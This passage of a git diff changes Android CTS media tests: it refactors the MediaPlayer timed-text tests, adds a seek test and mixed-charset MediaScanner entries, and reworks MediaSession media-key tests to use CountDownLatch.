     public void testH264_adaptiveEarlyEos()  { ex(H264(),  adaptiveEarlyEos); }
diff --git a/tests/tests/media/src/android/media/cts/MediaCasTest.java b/tests/tests/media/src/android/media/cts/MediaCasTest.java
index a3cdefc..97cdcdd 100644
--- a/tests/tests/media/src/android/media/cts/MediaCasTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCasTest.java
@@ -177,7 +177,8 @@
                     @Override
                     public void onEvent(MediaCas MediaCas, int event, int arg, byte[] data) {
                         Log.d(TAG, "Received MediaCas event: "
-                                + "event=" + event + ", arg=" + arg + ", data=" + data);
+                                + "event=" + event + ", arg=" + arg
+                                + ", data=" + Arrays.toString(data));
                     }
                 }, null);
             } finally {
@@ -509,9 +510,11 @@
         @Override
         public void onEvent(MediaCas mediaCas, int event, int arg, byte[] data) {
             Log.d(TAG, "Received MediaCas event: event=" + event
-                    + ", arg=" + arg + ", data=" + data);
+                    + ", arg=" + arg + ", data=" + Arrays.toString(data));
             if (mediaCas == mMediaCas && event == mEvent
-                    && arg == mArg && Arrays.equals(data, mData)) {
+                    && arg == mArg && (Arrays.equals(data, mData) ||
+                            data == null && mData.length == 0 ||
+                            mData == null && data.length == 0)) {
                 mIsIdential = true;
             }
             mLatch.countDown();
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTest.java b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
index 61298e8..afe5019 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
@@ -1757,11 +1757,6 @@
      * <br> getInputBuffer() after the failed queueSecureInputBuffer() succeeds.
      */
     public void testCryptoError() throws Exception {
-        if (!supportsCodec(MIME_TYPE, true)) {
-            Log.i(TAG, "No encoder found for mimeType= " + MIME_TYPE);
-            return;
-        }
-
         MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
         byte[] sessionId = drm.openSession();
         MediaCrypto crypto = new MediaCrypto(CLEARKEY_SCHEME_UUID, new byte[0]);
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
index e80dcf4..363c350 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
@@ -30,6 +30,8 @@
 import android.media.MediaMetadataRetriever;
 import android.media.MediaPlayer;
 import android.media.MediaPlayer.OnErrorListener;
+import android.media.MediaPlayer.OnSeekCompleteListener;
+import android.media.MediaPlayer.OnTimedTextListener;
 import android.media.MediaRecorder;
 import android.media.MediaTimestamp;
 import android.media.PlaybackParams;
@@ -39,11 +41,13 @@
 import android.media.audiofx.AudioEffect;
 import android.media.audiofx.Visualizer;
 import android.net.Uri;
+import android.os.Bundle;
 import android.os.Environment;
 import android.os.IBinder;
 import android.os.PowerManager;
 import android.os.ServiceManager;
 import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
 import android.support.test.filters.SmallTest;
 import android.platform.test.annotations.RequiresDevice;
 import android.util.Log;
@@ -58,7 +62,9 @@
 import java.util.StringTokenizer;
 import java.util.UUID;
 import java.util.Vector;
+import java.util.concurrent.Callable;
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.atomic.AtomicInteger;
 import java.util.stream.Collectors;
 import java.util.stream.Stream;
 import junit.framework.AssertionFailedError;
@@ -416,6 +422,68 @@
         }
     }
 
+    private final class VerifyAndSignalTimedText implements MediaPlayer.OnTimedTextListener {
+
+        final boolean mCheckStartTimeIncrease;
+        final int mTargetSignalCount;
+        int mPrevStartMs = -1;
+
+        VerifyAndSignalTimedText() {
+            this(Integer.MAX_VALUE, false);
+        }
+
+        VerifyAndSignalTimedText(int targetSignalCount, boolean checkStartTimeIncrease) {
+            mTargetSignalCount = targetSignalCount;
+            mCheckStartTimeIncrease = checkStartTimeIncrease;
+        }
+
+        void reset() {
+            mPrevStartMs = -1;
+        }
+
+        @Override
+        public void onTimedText(MediaPlayer mp, TimedText text) {
+            final int toleranceMs = 500;
+            final int durationMs = 500;
+            int posMs = mMediaPlayer.getCurrentPosition();
+            if (text != null) {
+                text.getText();
+                String plainText = text.getText();
+                if (plainText != null) {
+                    StringTokenizer tokens = new StringTokenizer(plainText.trim(), ":");
+                    int subtitleTrackIndex = Integer.parseInt(tokens.nextToken());
+                    int startMs = Integer.parseInt(tokens.nextToken());
+                    Log.d(LOG_TAG, "text: " + plainText.trim() +
+                          ", trackId: " + subtitleTrackIndex + ", posMs: " + posMs);
+                    assertTrue("The diff between subtitle's start time " + startMs +
+                               " and current time " + posMs +
+                               " is over tolerance " + toleranceMs,
+                               (posMs >= startMs - toleranceMs) &&
+                               (posMs < startMs + durationMs + toleranceMs) );
+                    assertEquals("Expected track: " + mSelectedTimedTextIndex +
+                                 ", actual track: " + subtitleTrackIndex,
+                                 mSelectedTimedTextIndex, subtitleTrackIndex);
+                    assertTrue("timed text start time did not increase; current: " + startMs +
+                               ", previous: " + mPrevStartMs,
+                               !mCheckStartTimeIncrease || startMs > mPrevStartMs);
+                    mPrevStartMs = startMs;
+                    mOnTimedTextCalled.signal();
+                    if (mTargetSignalCount >= mOnTimedTextCalled.getNumSignal()) {
+                        reset();
+                    }
+                }
+                Rect bounds = text.getBounds();
+                if (bounds != null) {
+                    Log.d(LOG_TAG, "bounds: " + bounds);
+                    mBoundsCount++;
+                    Rect expected = new Rect(0, 0, 352, 288);
+                    assertEquals("wrong bounds", expected, bounds);
+                }
+            }
+        }
+
+    }
+
     static class OutputListener {
         int mSession;
         AudioEffect mVc;
@@ -1275,6 +1343,11 @@
         mMediaPlayer.stop();
     }
 
+    public void testLocalVideo_MKV_H265_1280x720_500kbps_25fps_AAC_Stereo_128kbps_44100Hz()
+            throws Exception {
+        playVideoTest(
+                R.raw.video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz, 1280, 720);
+    }
     public void testLocalVideo_MP4_H264_480x360_500kbps_25fps_AAC_Stereo_128kbps_44110Hz()
             throws Exception {
         playVideoTest(
@@ -1773,48 +1846,95 @@
     }
 
     public void testChangeTimedTextTrack() throws Throwable {
-        if (!checkLoadResource(R.raw.testvideo_with_2_timedtext_tracks)) {
+        testTimedText(R.raw.testvideo_with_2_timedtext_tracks, 2,
+                new int[] {R.raw.test_subtitle1_srt, R.raw.test_subtitle2_srt},
+                new VerifyAndSignalTimedText(),
+                new Callable<Void>() {
+                    @Override
+                    public Void call() throws Exception {
+                        selectTimedTextTrack(0);
+                        mOnTimedTextCalled.reset();
+
+                        mMediaPlayer.start();
+                        assertTrue(mMediaPlayer.isPlaying());
+
+                        // Waits until at least two subtitles are fired. Timeout is 2.5 sec.
+                        // Please refer the test srt files:
+                        // test_subtitle1_srt.3gp and test_subtitle2_srt.3gp
+                        assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
+
+                        selectTimedTextTrack(1);
+                        mOnTimedTextCalled.reset();
+                        assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
+
+                        selectTimedTextTrack(2);
+                        mOnTimedTextCalled.reset();
+                        assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
+
+                        selectTimedTextTrack(3);
+                        mOnTimedTextCalled.reset();
+                        assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
+                        mMediaPlayer.stop();
+
+                        assertEquals("Wrong bounds count", 2, mBoundsCount);
+                        return null;
+                    }
+                });
+    }
+
+    public void testSeekWithTimedText() throws Throwable {
+        AtomicInteger iteration = new AtomicInteger(5);
+        AtomicInteger num = new AtomicInteger(10);
+        try {
+            Bundle args = InstrumentationRegistry.getArguments();
+            num.set(Integer.parseInt(args.getString("num", "10")));
+            iteration.set(Integer.parseInt(args.getString("iteration", "5")));
+        } catch (Exception e) {
+            Log.w(LOG_TAG, "bad num/iteration arguments, using default", e);
+        }
+        testTimedText(R.raw.testvideo_with_2_timedtext_tracks, 2, new int[] {},
+                new VerifyAndSignalTimedText(num.get(), true),
+                new Callable<Void>() {
+                    @Override
+                    public Void call() throws Exception {
+                        selectTimedTextTrack(0);
+                        mOnSeekCompleteCalled.reset();
+                        mOnTimedTextCalled.reset();
+                        OnSeekCompleteListener seekListener = new OnSeekCompleteListener() {
+                            @Override
+                            public void onSeekComplete(MediaPlayer mp) {
+                                mOnSeekCompleteCalled.signal();
+                            }
+                        };
+                        mMediaPlayer.setOnSeekCompleteListener(seekListener);
+                        mMediaPlayer.start();
+                        assertTrue(mMediaPlayer.isPlaying());
+                        int n = num.get();
+                        for (int i = 0; i < iteration.get(); ++i) {
+                            assertTrue(mOnTimedTextCalled.waitForCountedSignals(n, 15000) == n);
+                            mOnTimedTextCalled.reset();
+                            mMediaPlayer.seekTo(0);
+                            mOnSeekCompleteCalled.waitForSignal();
+                            mOnSeekCompleteCalled.reset();
+                        }
+                        mMediaPlayer.stop();
+                        return null;
+                    }
+                });
+    }
+
+    private void testTimedText(
+            int resource, int numInternalTracks, int[] subtitleResources,
+            OnTimedTextListener onTimedTextListener, Callable<?> testBody) throws Throwable {
+        if (!checkLoadResource(resource)) {
             return; // skip;
         }
 
         mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
         mMediaPlayer.setScreenOnWhilePlaying(true);
         mMediaPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+        mMediaPlayer.setOnTimedTextListener(onTimedTextListener);
         mBoundsCount = 0;
-        mMediaPlayer.setOnTimedTextListener(new MediaPlayer.OnTimedTextListener() {
-            @Override
-            public void onTimedText(MediaPlayer mp, TimedText text) {
-                final int toleranceMs = 500;
-                final int durationMs = 500;
-                int posMs = mMediaPlayer.getCurrentPosition();
-                if (text != null) {
-                    String plainText = text.getText();
-                    if (plainText != null) {
-                        StringTokenizer tokens = new StringTokenizer(plainText.trim(), ":");
-                        int subtitleTrackIndex = Integer.parseInt(tokens.nextToken());
-                        int startMs = Integer.parseInt(tokens.nextToken());
-                        Log.d(LOG_TAG, "text: " + plainText.trim() +
-                              ", trackId: " + subtitleTrackIndex + ", posMs: " + posMs);
-                        assertTrue("The diff between subtitle's start time " + startMs +
-                                   " and current time " + posMs +
-                                   " is over tolerance " + toleranceMs,
-                                   (posMs >= startMs - toleranceMs) &&
-                                   (posMs < startMs + durationMs + toleranceMs) );
-                        assertEquals("Expected track: " + mSelectedTimedTextIndex +
-                                     ", actual track: " + subtitleTrackIndex,
-                                     mSelectedTimedTextIndex, subtitleTrackIndex);
-                        mOnTimedTextCalled.signal();
-                    }
-                    Rect bounds = text.getBounds();
-                    if (bounds != null) {
-                        Log.d(LOG_TAG, "bounds: " + bounds);
-                        mBoundsCount++;
-                        Rect expected = new Rect(0, 0, 352, 288);
-                        assertEquals("wrong bounds", expected, bounds);
-                    }
-                }
-            }
-        });
 
         mMediaPlayer.prepare();
         assertFalse(mMediaPlayer.isPlaying());
@@ -1828,14 +1948,15 @@
             }
         });
         getInstrumentation().waitForIdleSync();
-        assertEquals(getTimedTextTrackCount(), 2);
+        assertEquals(getTimedTextTrackCount(), numInternalTracks);
 
         runTestOnUiThread(new Runnable() {
             public void run() {
                 try {
                     // Adds two more external subtitle files.
-                    loadSubtitleSource(R.raw.test_subtitle1_srt);
-                    loadSubtitleSource(R.raw.test_subtitle2_srt);
+                    for (int subRes : subtitleResources) {
+                        loadSubtitleSource(subRes);
+                    }
                     readTimedTextTracks();
                 } catch (Exception e) {
                     throw new AssertionFailedError(e.getMessage());
@@ -1843,33 +1964,9 @@
             }
         });
         getInstrumentation().waitForIdleSync();
-        assertEquals(getTimedTextTrackCount(), 4);
+        assertEquals(getTimedTextTrackCount(), numInternalTracks + subtitleResources.length);
 
-        selectTimedTextTrack(0);
-        mOnTimedTextCalled.reset();
-
-        mMediaPlayer.start();
-        assertTrue(mMediaPlayer.isPlaying());
-
-        // Waits until at least two subtitles are fired. Timeout is 2.5 sec.
-        // Please refer the test srt files:
-        // test_subtitle1_srt.3gp and test_subtitle2_srt.3gp
-        assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
-
-        selectTimedTextTrack(1);
-        mOnTimedTextCalled.reset();
-        assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
-
-        selectTimedTextTrack(2);
-        mOnTimedTextCalled.reset();
-        assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
-
-        selectTimedTextTrack(3);
-        mOnTimedTextCalled.reset();
-        assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
-        mMediaPlayer.stop();
-
-        assertEquals("Wrong bounds count", 2, mBoundsCount);
+        testBody.call();
     }
 
     public void testGetTrackInfoForVideoWithTimedText() throws Throwable {
diff --git a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
index 71013cc..97b03d8 100644
--- a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
@@ -533,12 +533,16 @@
         if (!hasCamera()) {
             return;
         }
+        mCamera = Camera.open(0);
+        setSupportedResolution(mCamera);
+        mCamera.unlock();
+
         mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
         mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
         mMediaRecorder.setOutputFile(OUTPUT_PATH2);
         mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
         mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
-        mMediaRecorder.setVideoSize(VIDEO_WIDTH, VIDEO_HEIGHT);
+        mMediaRecorder.setVideoSize(mVideoWidth, mVideoHeight);
 
         FileOutputStream fos = new FileOutputStream(OUTPUT_PATH2);
         FileDescriptor fd = fos.getFD();
@@ -704,12 +708,16 @@
             MediaUtils.skipTest("no microphone, camera, or codecs");
             return;
         }
+        mCamera = Camera.open(0);
+        setSupportedResolution(mCamera);
+        mCamera.unlock();
+
         mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
         mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
         mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
         mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
         mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
-        mMediaRecorder.setVideoSize(VIDEO_WIDTH, VIDEO_HEIGHT);
+        mMediaRecorder.setVideoSize(mVideoWidth, mVideoHeight);
         mMediaRecorder.setVideoEncodingBitRate(256000);
         mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
         mMediaRecorder.setMaxFileSize(fileSize);
@@ -1075,6 +1083,7 @@
             mCamera = Camera.open(0);
             Camera.Parameters params = mCamera.getParameters();
             frameRate = params.getPreviewFrameRate();
+            setSupportedResolution(mCamera);
             mCamera.unlock();
             mMediaRecorder.setCamera(mCamera);
             mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
@@ -1092,7 +1101,7 @@
 
         mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
         mMediaRecorder.setVideoFrameRate(frameRate);
-        mMediaRecorder.setVideoSize(VIDEO_WIDTH, VIDEO_HEIGHT);
+        mMediaRecorder.setVideoSize(mVideoWidth, mVideoHeight);
 
         if (hasAudio) {
             mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerTest.java b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
index 3a12e3b..137b7cf 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
@@ -470,7 +470,20 @@
             new MediaScanEntry(R.raw.iso88591_13,
                     new String[] {"Michael Bublé", "Crazy Love", "Michael Bublé", "Haven't Met You Yet", null}),
             new MediaScanEntry(R.raw.utf16_1,
-                    new String[] {"Shakira", "Latin Mix USA", "Shakira", "Estoy Aquí", null})
+                    new String[] {"Shakira", "Latin Mix USA", "Shakira", "Estoy Aquí", null}),
+            // Tags are encoded in different charsets.
+            new MediaScanEntry(R.raw.iso88591_utf8_mixed_1,
+                    new String[] {"刘昊霖/kidult.", "鱼干铺里", "刘昊霖/kidult.", "Colin Wine's Mailbox", null}),
+            new MediaScanEntry(R.raw.iso88591_utf8_mixed_2,
+                    new String[] {"冰块先生/郭美孜", "hey jude", "冰块先生/郭美孜", "Hey Jude", null}),
+            new MediaScanEntry(R.raw.iso88591_utf8_mixed_3,
+                    new String[] {"Toy王奕/Tizzy T/满舒克", "1993", "Toy王奕/Tizzy T/满舒克", "Me&Ma Bros", null}),
+            new MediaScanEntry(R.raw.gb18030_utf8_mixed_1,
+                    new String[] {"张国荣", "钟情张国荣", null, "左右手", null}),
+            new MediaScanEntry(R.raw.gb18030_utf8_mixed_2,
+                    new String[] {"纵贯线", "Live in Taipei 出发\\/终点站", null, "皇后大道东(Live)", null}),
+            new MediaScanEntry(R.raw.gb18030_utf8_mixed_3,
+                    new String[] {"谭咏麟", "二十年白金畅销金曲全记录", null, "知心当玩偶", null})
     };
 
     public void testEncodingDetection() throws Exception {
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionTest.java b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
index 58a643d..cc6f186 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
@@ -39,10 +39,14 @@
 import java.util.ArrayList;
 import java.util.List;
 import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 public class MediaSessionTest extends AndroidTestCase {
-    // The maximum time to wait for an operation.
+    // The maximum time to wait for an operation that is expected to succeed.
     private static final long TIME_OUT_MS = 3000L;
+    // The maximum time to wait for an operation that is expected to fail.
+    private static final long WAIT_MS = 100L;
     private static final int MAX_AUDIO_INFO_CHANGED_CALLBACK_COUNT = 10;
     private static final String TEST_SESSION_TAG = "test-session-tag";
     private static final String TEST_KEY = "test-key";
@@ -322,71 +326,106 @@
         PendingIntent pi = PendingIntent.getBroadcast(getContext(), 0, mediaButtonIntent, 0);
         mSession.setMediaButtonReceiver(pi);
 
-        long supportedActions = PlaybackState.ACTION_PLAY | PlaybackState.ACTION_PAUSE
-                | PlaybackState.ACTION_PLAY_PAUSE | PlaybackState.ACTION_STOP
-                | PlaybackState.ACTION_SKIP_TO_NEXT | PlaybackState.ACTION_SKIP_TO_PREVIOUS
-                | PlaybackState.ACTION_FAST_FORWARD | PlaybackState.ACTION_REWIND;
-
         // Set state to STATE_PLAYING to get higher priority.
-        PlaybackState defaultState = new PlaybackState.Builder().setActions(supportedActions)
-                .setState(PlaybackState.STATE_PLAYING, 0L, 0.0f).build();
-        mSession.setPlaybackState(defaultState);
+        setPlaybackState(PlaybackState.STATE_PLAYING);
 
         // A media playback is also needed to receive media key events.
         Utils.assertMediaPlaybackStarted(getContext());
 
+        sessionCallback.reset(1);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY);
+        assertTrue(sessionCallback.await(TIME_OUT_MS));
+        assertEquals(1, sessionCallback.mOnPlayCalledCount);
+
+        sessionCallback.reset(1);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PAUSE);
+        assertTrue(sessionCallback.await(TIME_OUT_MS));
+        assertTrue(sessionCallback.mOnPauseCalled);
+
+        sessionCallback.reset(1);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_NEXT);
+        assertTrue(sessionCallback.await(TIME_OUT_MS));
+        assertTrue(sessionCallback.mOnSkipToNextCalled);
+
+        sessionCallback.reset(1);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PREVIOUS);
+        assertTrue(sessionCallback.await(TIME_OUT_MS));
+        assertTrue(sessionCallback.mOnSkipToPreviousCalled);
+
+        sessionCallback.reset(1);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_STOP);
+        assertTrue(sessionCallback.await(TIME_OUT_MS));
+        assertTrue(sessionCallback.mOnStopCalled);
+
+        sessionCallback.reset(1);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_FAST_FORWARD);
+        assertTrue(sessionCallback.await(TIME_OUT_MS));
+        assertTrue(sessionCallback.mOnFastForwardCalled);
+
+        sessionCallback.reset(1);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_REWIND);
+        assertTrue(sessionCallback.await(TIME_OUT_MS));
+        assertTrue(sessionCallback.mOnRewindCalled);
+
+        // Test PLAY_PAUSE button twice.
+        // First, simulate PLAY_PAUSE button while in STATE_PAUSED.
+        sessionCallback.reset(1);
+        setPlaybackState(PlaybackState.STATE_PAUSED);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+        assertTrue(sessionCallback.await(TIME_OUT_MS));
+        assertEquals(1, sessionCallback.mOnPlayCalledCount);
+
+        // Next, simulate PLAY_PAUSE button while in STATE_PLAYING.
+        sessionCallback.reset(1);
+        setPlaybackState(PlaybackState.STATE_PLAYING);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+        assertTrue(sessionCallback.await(TIME_OUT_MS));
+        assertTrue(sessionCallback.mOnPauseCalled);
+
+        // Double tap of PLAY_PAUSE is the next track instead of changing PLAY/PAUSE.
+        sessionCallback.reset(2);
+        setPlaybackState(PlaybackState.STATE_PLAYING);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+        assertFalse(sessionCallback.await(WAIT_MS));
+        assertTrue(sessionCallback.mOnSkipToNextCalled);
+        assertEquals(0, sessionCallback.mOnPlayCalledCount);
+        assertFalse(sessionCallback.mOnPauseCalled);
+
+        // Test if PLAY_PAUSE double tap is considered as two single taps when another media
+        // key is pressed.
+        sessionCallback.reset(3);
+        setPlaybackState(PlaybackState.STATE_PAUSED);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_STOP);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+        assertTrue(sessionCallback.await(TIME_OUT_MS));
+        assertEquals(2, sessionCallback.mOnPlayCalledCount);
+        assertTrue(sessionCallback.mOnStopCalled);
+
+        // Test if media keys are handled in order.
+        sessionCallback.reset(2);
+        setPlaybackState(PlaybackState.STATE_PAUSED);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_STOP);
+        assertTrue(sessionCallback.await(TIME_OUT_MS));
+        assertEquals(1, sessionCallback.mOnPlayCalledCount);
+        assertTrue(sessionCallback.mOnStopCalled);
         synchronized (mWaitLock) {
-            sessionCallback.reset();
-            simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(sessionCallback.mOnPlayCalled);
+            assertEquals(PlaybackState.STATE_STOPPED,
+                    mSession.getController().getPlaybackState().getState());
+        }
+    }
 
-            sessionCallback.reset();
-            simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PAUSE);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(sessionCallback.mOnPauseCalled);
-
-            sessionCallback.reset();
-            simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_NEXT);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(sessionCallback.mOnSkipToNextCalled);
-
-            sessionCallback.reset();
-            simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PREVIOUS);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(sessionCallback.mOnSkipToPreviousCalled);
-
-            sessionCallback.reset();
-            simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_STOP);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(sessionCallback.mOnStopCalled);
-
-            sessionCallback.reset();
-            simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_FAST_FORWARD);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(sessionCallback.mOnFastForwardCalled);
-
-            sessionCallback.reset();
-            simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_REWIND);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(sessionCallback.mOnRewindCalled);
-
-            // Test PLAY_PAUSE button twice.
-            // First, simulate PLAY_PAUSE button while in STATE_PAUSED.
-            sessionCallback.reset();
-            mSession.setPlaybackState(new PlaybackState.Builder().setActions(supportedActions)
-                    .setState(PlaybackState.STATE_PAUSED, 0L, 0.0f).build());
-            simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(sessionCallback.mOnPlayCalled);
-
-            // Next, simulate PLAY_PAUSE button while in STATE_PLAYING.
-            sessionCallback.reset();
-            mSession.setPlaybackState(new PlaybackState.Builder().setActions(supportedActions)
-                    .setState(PlaybackState.STATE_PLAYING, 0L, 0.0f).build());
-            simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(sessionCallback.mOnPauseCalled);
+    private void setPlaybackState(int state) {
+        final long allActions = PlaybackState.ACTION_PLAY | PlaybackState.ACTION_PAUSE
+                | PlaybackState.ACTION_PLAY_PAUSE | PlaybackState.ACTION_STOP
+                | PlaybackState.ACTION_SKIP_TO_NEXT | PlaybackState.ACTION_SKIP_TO_PREVIOUS
+                | PlaybackState.ACTION_FAST_FORWARD | PlaybackState.ACTION_REWIND;
+        PlaybackState playbackState = new PlaybackState.Builder().setActions(allActions)
+                .setState(state, 0L, 0.0f).build();
+        synchronized (mWaitLock) {
+            mSession.setPlaybackState(playbackState);
         }
     }
 
@@ -419,13 +458,27 @@
      * Tests {@link MediaSession.QueueItem}.
      */
     public void testQueueItem() {
-        QueueItem item = new QueueItem(new MediaDescription.Builder()
-                .setMediaId("media-id").setTitle("title").build(), TEST_QUEUE_ID);
+        MediaDescription.Builder descriptionBuilder = new MediaDescription.Builder()
+                .setMediaId("media-id")
+                .setTitle("title");
+
+        QueueItem item = new QueueItem(descriptionBuilder.build(), TEST_QUEUE_ID);
         assertEquals(TEST_QUEUE_ID, item.getQueueId());
         assertEquals("media-id", item.getDescription().getMediaId());
         assertEquals("title", item.getDescription().getTitle());
         assertEquals(0, item.describeContents());
 
+        QueueItem sameItem = new QueueItem(descriptionBuilder.build(), TEST_QUEUE_ID);
+        assertTrue(item.equals(sameItem));
+
+        QueueItem differentQueueId = new QueueItem(
+            descriptionBuilder.build(), TEST_QUEUE_ID + 1);
+        assertFalse(item.equals(differentQueueId));
+
+        QueueItem differentDescription = new QueueItem(
+            descriptionBuilder.setTitle("title2").build(), TEST_QUEUE_ID);
+        assertFalse(item.equals(differentDescription));
+
         Parcel p = Parcel.obtain();
         item.writeToParcel(p, 0);
         p.setDataPosition(0);
@@ -576,7 +629,8 @@
     }
 
     private class MediaSessionCallback extends MediaSession.Callback {
-        private boolean mOnPlayCalled;
+        private CountDownLatch mLatch;
+        private int mOnPlayCalledCount;
         private boolean mOnPauseCalled;
         private boolean mOnStopCalled;
         private boolean mOnFastForwardCalled;
@@ -584,8 +638,9 @@
         private boolean mOnSkipToPreviousCalled;
         private boolean mOnSkipToNextCalled;
 
-        public void reset() {
-            mOnPlayCalled = false;
+        public void reset(int count) {
+            mLatch = new CountDownLatch(count);
+            mOnPlayCalledCount = 0;
             mOnPauseCalled = false;
             mOnStopCalled = false;
             mOnFastForwardCalled = false;
@@ -594,60 +649,57 @@
             mOnSkipToNextCalled = false;
         }
 
+        public boolean await(long waitMs) {
+            try {
+                return mLatch.await(waitMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+
         @Override
         public void onPlay() {
-            synchronized (mWaitLock) {
-                mOnPlayCalled = true;
-                mWaitLock.notify();
-            }
+            mOnPlayCalledCount++;
+            setPlaybackState(PlaybackState.STATE_PLAYING);
+            mLatch.countDown();
         }
 
         @Override
         public void onPause() {
-            synchronized (mWaitLock) {
-                mOnPauseCalled = true;
-                mWaitLock.notify();
-            }
+            mOnPauseCalled = true;
+            setPlaybackState(PlaybackState.STATE_PAUSED);
+            mLatch.countDown();
         }
 
         @Override
         public void onStop() {
-            synchronized (mWaitLock) {
-                mOnStopCalled = true;
-                mWaitLock.notify();
-            }
+            mOnStopCalled = true;
+            setPlaybackState(PlaybackState.STATE_STOPPED);
+            mLatch.countDown();
         }
 
         @Override
         public void onFastForward() {
-            synchronized (mWaitLock) {
-                mOnFastForwardCalled = true;
-                mWaitLock.notify();
-            }
+            mOnFastForwardCalled = true;
+            mLatch.countDown();
         }
 
         @Override
         public void onRewind() {
-            synchronized (mWaitLock) {
-                mOnRewindCalled = true;
-                mWaitLock.notify();
-            }
+            mOnRewindCalled = true;
+            mLatch.countDown();
         }
 
         @Override
         public void onSkipToPrevious() {
-            synchronized (mWaitLock) {
-                mOnSkipToPreviousCalled = true;
-                mWaitLock.notify();
-            }
+            mOnSkipToPreviousCalled = true;
+            mLatch.countDown();
         }
 
         @Override
         public void onSkipToNext() {
-            synchronized (mWaitLock) {
-                mOnSkipToNextCalled = true;
